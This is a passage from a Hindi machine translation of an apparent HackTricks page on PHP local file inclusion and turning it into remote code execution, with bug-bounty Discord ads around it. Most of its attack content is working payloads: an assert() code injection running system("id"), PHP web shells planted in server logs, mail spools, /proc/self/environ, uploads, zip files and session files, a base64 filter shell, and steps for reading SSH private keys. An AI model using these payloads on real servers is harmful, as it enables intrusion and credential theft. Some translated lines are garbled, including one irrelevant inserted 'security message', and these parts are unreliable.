- ftp:// — FTP(s) URL तक पहुँचना
- zlib:// — संपीड़न स्ट्रीम
- glob:// — पैटर्न से मेल खाने वाले पथनाम खोजें (यह कुछ भी प्रिंट करने वाला नहीं है, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
- ssh2:// — सुरक्षित शैली 2
- ogg:// — ऑडियो स्ट्रीम्स (विशिष्ट फ़ाइलें पढ़ने के लिए उपयोगी नहीं)
assert("strpos('$file', '..') === false") or die("");
जबकि यह ट्रावर्सल को रोकने का उद्देश्य रखता है, यह अनजाने में कोड इन्जेक्शन के लिए एक वेक्टर बना देता है। फ़ाइल सामग्री पढ़ने के लिए इसका शोषण करने के लिए हमलावर निम्नलिखित का उपयोग कर सकता है:
' and die(highlight_file('/etc/passwd')) or '
उसी तरह, अनियमित सिस्टम कमांड्स को निष्पादित करने के लिए कोई भी इस्तेमाल कर सकता है:
' and die(system("id")) or '
ये payloads URL-encode करना महत्वपूर्ण है।
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक न्यूज़
रियल-टाइम न्यूज़ और अंदरूनी दृष्टिकोण के माध्यम से हैकिंग विश्व के साथ अप-टू-डेट रहें
नवीनतम घोषणाएँ
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
Discord पर हमारे साथ जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
PHP ब्लाइंड पथ ट्रावर्सल
{% hint style="warning" %}
यह तकनीक उस स्थितियों में महत्वपूर्ण है जहाँ आप नियंत्रण करते हैं PHP फ़ंक्शन के फ़ाइल पथ को जो एक फ़ाइल को एक्सेस करेगा लेकिन आप फ़ाइल की सामग्री को नहीं देखेंगे (जैसे एक साधारण कॉल करना file()
) लेकिन सामग्री नहीं दिखाई देगी।
{% endhint %}
इस अविश्वसनीय पोस्ट में यह व्याख्या की गई है कि PHP फ़िल्टर के माध्यम से एक ब्लाइंड पथ ट्रावर्सल को कैसे दुरुपयोग किया जा सकता है ताकि एक त्रुटि ओरेकल के माध्यम से एक फ़ाइल की सामग्री को बाहर निकाला जा सके।
सारांश में, तकनीक यह है कि "UCS-4LE" इन्कोडिंग का उपयोग करके एक फ़ाइल की सामग्री को इतनी बड़ी बनाया जाता है कि फ़ाइल को खोलने वाला PHP फ़ंक्शन एक त्रुटि ट्रिगर करेगा।
फिर, पहले वर्ण को लीक करने के लिए फ़िल्टर dechunk
का उपयोग किया जाता है साथ ही अन्य जैसे base64 या rot13 और अंत में फ़िल्टर convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग किया जाता है ताकि अन्य वर्णों को शुरू में रखा जा सके और उन्हें लीक किया जा सके।
संभावित रूप से विकल्पशील फ़ंक्शन: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (केवल इसके साथ केवल टारगेट पढ़ने के लिए)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
तकनीकी विवरण के लिए उल्लिखित पोस्ट की जाँच करें!
LFI2RCE
रिमोट फ़ाइल समावेश
पहले समझाया गया, इस लिंक का पालन करें।
Apache/Nginx लॉग फ़ाइल के माध्यम से
यदि Apache या Nginx सर्वर LFI के लिए विकल्पशील हैं तो आप /var/log/apache2/access.log
या /var/log/nginx/access.log
तक पहुँचने की कोशिश कर सकते हैं, यूज़र एजेंट या GET पैरामीटर में एक PHP शैल जैसे <?php system($_GET['c']); ?>
डालें और उस फ़ाइल को समाविष्ट करें।
{% hint style="warning" %} ध्यान दें कि यदि आप शैल के लिए डबल कोट्स का उपयोग करते हैं तो उन डबल कोट्स को स्ट्रिंग "quote;" के लिए संशोधित किया जाएगा, PHP वहाँ त्रुटि फेंकेगा और कुछ भी नहीं चलेगा।
इसके अलावा, सुनिश्चित करें कि आप पेलोड को सही ढंग से लिखें या PHP हर बार जब वह लॉग फ़ाइल लोड करने की कोशिश करता है तो त्रुटि फेंकेगा और आपको दूसरा मौका नहीं मिलेगा। {% endhint %}
यह अन्य लॉग में भी किया जा सकता है लेकिन सावधान रहें, लॉग में दी गई कोड URL इन्कोड किया जा सकता है और यह शैल को नष्ट कर सकता है। हेडर ऑथराइज़ेशन "बेसिक" में "उपयोगकर्ता:पासवर्ड" Base64 में होता है और यह लॉग में डिकोड होता है। PHPShell इस हेडर के अंदर डाला जा सकता है।
अन्य संभावित लॉग पथ:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
ईमेल के माध्यम से
एक मेल भेजें एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP पेलोड शामिल है जैसे <?php echo system($_REQUEST["cmd"]); ?>
और कोशिश करें कि उपयोगकर्ता के मेल को शामिल करें एक पथ के साथ जैसे /var/mail/<USERNAME>
या /var/spool/mail/<USERNAME>
/proc/*/fd/* के माध्यम से
- बहुत सारे शैल अपलोड करें (उदाहरण के लिए: 100)
- शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर है (यह भी ब्रूट फोर्स किया जा सकता है)
/proc/self/environ के माध्यम से
एक लॉग फ़ाइल की तरह, पेलोड को यूज़र-एजेंट में भेजें, यह /proc/self/environ फ़ाइल में प्रतिबिंबित होगा
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
अपलोड के माध्यम से
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो उसमें शैल पेलोड इंजेक्ट करें (उदा. : <?php system($_GET['c']); ?>
)।
http://example.com/index.php?page=path/to/uploaded/file.png
ज़िप फ़ाइल अपलोड के माध्यम से
एक ज़िप फ़ाइल अपलोड करें जिसमें एक PHP शैल संकुचित हो और पहुंचें:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP सत्र के माध्यम से
जांचें कि वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती हैं
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP में ये सेशन /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में स्टोर किए जाते हैं।
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
चूंकि यह एक वेब अनुक्रमणिका है, इसलिए यह एक अत्यंत महत्वपूर्ण सुरक्षा संदेश है। कृपया इसे ध्यान से पढ़ें और इसे अपने वेब अनुक्रमणिका के सुरक्षा सुनिश्चित करने के लिए उपयोग करें।
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
एलएफआई का उपयोग करें ताकि PHP सत्र फ़ाइल को समाहित किया जा सके।
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
माध्यम से ssh
यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुंचने का प्रयास करें।
Via vsftpd logs
FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log पर स्थित हैं। उस स्थिति में जहां एक स्थानीय फ़ाइल समावेशन (LFI) दुरुपयोग संभावना है, और एक उजागर vsftpd सर्वर तक पहुंच संभव है, तो निम्नलिखित कदम विचार किए जा सकते हैं:
- लॉगिन प्रक्रिया के दौरान उपयोगकर्ता फ़ील्ड में एक PHP पेलोड इंजेक्ट करें।
- इंजेक्शन के बाद, LFI का उपयोग करके /var/log/vsftpd.log से सर्वर लॉग्स प्राप्त करें।
Via php base64 filter (using base64)
इस लेख में दिखाया गया है कि PHP base64 फ़िल्टर केवल गैर-बेस64 को नजरअंदाज करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को उम्मीदवार बनाने के लिए कर सकते हैं: यदि आप बेस64 प्रदान करते हैं जो ".php" के साथ समाप्त होता है, और यह बस "." को नजरअंदाज करेगा और "php" को बेस64 में जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
PHP फ़िल्टर के माध्यम से (कोई फ़ाइल की आवश्यकता नहीं)
इस writeup में विवरण दिया गया है कि आप php फ़िल्टर का उपयोग करके विभाजन के लिए अनियमित सामग्री उत्पन्न कर सकते हैं। जिसका मतलब है कि आप फ़ाइल में लिखने की आवश्यकता नहीं है, आप सम्मिलित के लिए अनियमित php कोड उत्पन्न कर सकते हैं।
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
सेगमेंटेशन फॉल्ट के माध्यम से
एक फ़ाइल अपलोड करें जो /tmp
में अस्थायी रूप से संग्रहीत होगी, फिर एक ही अनुरोध में, एक सेगमेंटेशन फॉल्ट ट्रिगर करें, और फिर अस्थायी फ़ाइल मिटाई नहीं जाएगी और आप इसे खोज सकते हैं।
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Nginx अस्थायी फ़ाइल संग्रहण
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और Nginx PHP के सामने चल रहा है तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
PHP_SESSION_UPLOAD_PROGRESS के माध्यम से
यदि आपने स्थानीय फ़ाइल समावेशन पाया है भले ही आपके पास एक सत्र न हो और session.auto_start
Off
है। यदि आप मल्टीपार्ट POST डेटा में PHP_SESSION_UPLOAD_PROGRESS
प्रदान करते हैं, तो PHP आपके लिए सत्र सक्षम कर देगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Windows में अस्थायी फ़ाइल अपलोड के माध्यम से
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और सर्वर Windows में चल रहा है तो आप RCE प्राप्त कर सकते हैं:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
phpinfo() के माध्यम से (file_uploads = on)
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और एक फ़ाइल phpinfo() को उजागर कर रही है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ पथ विवरण
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और आप अस्थायी फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर यह जांच रहा है कि सम्मिलित की जाने वाली फ़ाइल में PHP मार्क्स हैं तो आप इस Race Condition के साथ उस जांच को छलना करने की कोशिश कर सकते हैं:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
अनंत प्रतीक्षा + ब्रूटफ़ोर्स के माध्यम से
यदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP क्रियान्वयन में फंसा सकते हैं, तो आप फिर घंटों तक अस्थायी फ़ाइलें खोजने के लिए फ़ाइल नामों का ब्रूटफ़ोर्स कर सकते हैं:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
फेटल त्रुटि के लिए
यदि आप /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
में से किसी भी फ़ाइल को सम्मिलित करते हैं। (आपको उसी को 2 बार सम्मिलित करने की आवश्यकता है ताकि उस त्रुटि को फेंक सकें)।
मुझे नहीं पता कि यह कितना उपयोगी है लेकिन यह हो सकता है।
यदि आप PHP फेटल त्रुटि का कारण बनाते हैं, तो PHP अस्थायी रूप से अपलोड की गई फ़ाइलें हटा दी जाती हैं।
संदर्भ
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक समाचार
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से तेज़ गति से बदलती हैकिंग दुनिया के साथ अप-टू-डेट रहें
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स की जांच करें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन The PEASS Family खोजें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- HackTricks और HackTricks Cloud github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।